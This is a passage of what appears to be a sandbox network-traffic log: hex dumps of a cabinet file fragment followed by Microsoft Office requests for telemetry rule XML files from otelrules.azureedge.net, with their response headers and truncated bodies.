2024-10-08 18:52:18 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-08 18:52:18 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.9	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:19 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:19 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:19 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 0c5e0055-c01e-0066-1a2e-19a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185219Z-1657d5bbd48xlwdx82gahegw4000000005hg00000000pmkx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:19 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.9	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:19 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:19 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:19 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 04600955-801e-00ac-55f4-16fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185219Z-1657d5bbd48jwrqbupe3ktsx9w00000005m000000000etz1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:19 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.9	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:19 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:19 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:19 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 87e26173-201e-0051-15e7-167340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185219Z-1657d5bbd48tnj6wmberkg2xy800000005eg00000000k7eu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:19 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.9	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:19 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:19 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:19 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 52963dc7-601e-0084-0e74-176b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185219Z-1657d5bbd48tnj6wmberkg2xy800000005g000000000a6ak x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:19 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.9	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:19 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:19 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:19 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 4035d6e2-a01e-0002-4602-175074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185219Z-1657d5bbd48cpbzgkvtewk0wu000000005e000000000n1c2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:19 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.9	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:19 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:19 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:19 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 31868579-401e-008c-0af2-1686c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185219Z-1657d5bbd48tnj6wmberkg2xy800000005e000000000nevp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:19 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.9	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:19 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:19 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:19 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 7d21ea5d-701e-0098-0502-17395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185219Z-1657d5bbd48vlsxxpe15ac3q7n000000057g0000000127cm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:19 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.9	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:19 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:19 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:19 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 08bf7a15-f01e-0020-7706-17956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185219Z-1657d5bbd48vlsxxpe15ac3q7n00000005dg000000007kr2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:19 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.9	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:19 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:20 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:19 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: b6fa471e-401e-0067-43e5-1609c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185219Z-1657d5bbd48xsz2nuzq4vfrzg8000000055g00000000vctp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:20 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.9	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:19 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:20 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:19 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: d7d8a7d3-601e-0050-1cb3-192c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185219Z-1657d5bbd48762wn1qw4s5sd3000000005a00000000067tq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:20 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.9	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:20 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
